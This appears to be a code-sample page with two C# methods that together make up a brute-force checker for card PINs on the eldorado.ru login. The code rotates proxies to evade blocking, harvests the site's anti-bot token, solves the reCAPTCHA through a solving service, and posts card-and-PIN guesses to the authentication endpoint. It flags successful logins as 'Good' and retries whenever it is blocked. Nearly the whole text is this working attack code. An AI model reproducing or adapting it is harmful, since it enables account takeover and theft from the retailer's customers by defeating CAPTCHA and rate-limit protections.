Exemple #1
0
        public static string Post(ReqCharacters characters, PostCharacters postCharacters)
        {
            string result = "";

            try
            {
                HttpRequest danni = ReqCharacters.Req(characters.cookies, characters.proxy);

                danni.AddHeader("Accept", "application/json, text/plain, */*");
                danni.AddHeader("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7");
                danni.AddHeader("Referer", "https://www.eldorado.ru/");
                danni.AddHeader("Authorization", "Bearer " + postCharacters.token);

                string json = "{\"user_login\":\"" +
                              postCharacters.card +
                              "\",\"user_password\":\"" +
                              postCharacters.code +
                              "\",\"g-recaptcha-response\":\"" +
                              postCharacters.captcha + "\"}";

                string response = danni.Post("https://www.eldorado.ru/_ajax/spa/auth/authentication.php", json, "application/json;charset=UTF-8").ToString();


                if (response.Contains("user"))
                {
                    result = "Good";
                }
            }
            catch { result = "Error"; }

            return(result);
        }
Exemple #2
0
        private static void CheckPinCode(string pinCode)
        {
            int    checkCountProxy = 0;
            string proxy           = "";
            string response        = "";

            lock (_consoleLocker)
            {
                _scoreProxy++;
                proxy = _goodProxy[_scoreProxy];
            }

            try
            {
                if (checkCountProxy == 30)
                {
                    if (File.ReadAllLines("goodProxy.txt").Count() < 50)
                    {
                        StopThreads("small proxy");
                    }
                }

                CookieDictionary cookies    = new CookieDictionary();
                ReqCharacters    characters = new ReqCharacters
                {
                    cookies = cookies,
                    proxy   = proxy
                };

                string swpTokenCookie = JSecurity.GetCookie(characters);
                if (swpTokenCookie != null)
                {
                    characters.cookies.Add("swp_token", swpTokenCookie);
                }

                response = Request.Get(characters, "https://www.eldorado.ru");

                if (response.Contains("Bad")) // Проверка на валид прокси
                {
                    throw new Exception("Bad proxy");
                }

                string token = Request.GetToken(characters);

                if (token == "") //Заметил баг, что иногда возвращает ноль
                {
                    throw new Exception("token is null");
                }

                string captcha = Regex.Match(response, "\"key\":\"(.*?)\",").Groups[1].Value;

                string id = Captcha.GetID(captcha);
                string answer;

                while (true)
                {
                    answer = Captcha.GetAnswer(id);

                    if (!answer.Contains("CAPCHA_NOT_READY"))
                    {
                        break;
                    }
                }

                PostCharacters postCharacters = new PostCharacters
                {
                    cookies = cookies,
                    proxy   = proxy,
                    token   = token,
                    card    = card,
                    code    = pinCode,
                    captcha = answer
                };

                response = Request.Post(characters, postCharacters);

                if (response.Contains("Blocked"))
                {
                    throw new Exception("Block");
                }

                DataResult(response, pinCode, proxy);
            }
            catch (Exception ex)
            {
                if (ex.Message == "Bad proxy")
                {
                    DataResult("Error", pinCode, proxy);
                    CheckPinCode(pinCode);
                }

                else if (ex.Message == "Token is null")
                {
                    Console.WriteLine("Не удалось получить токен");
                    CheckPinCode(pinCode);
                }

                else if (ex.Message == "Block")
                {
                    CheckPinCode(pinCode);
                }
            }
        }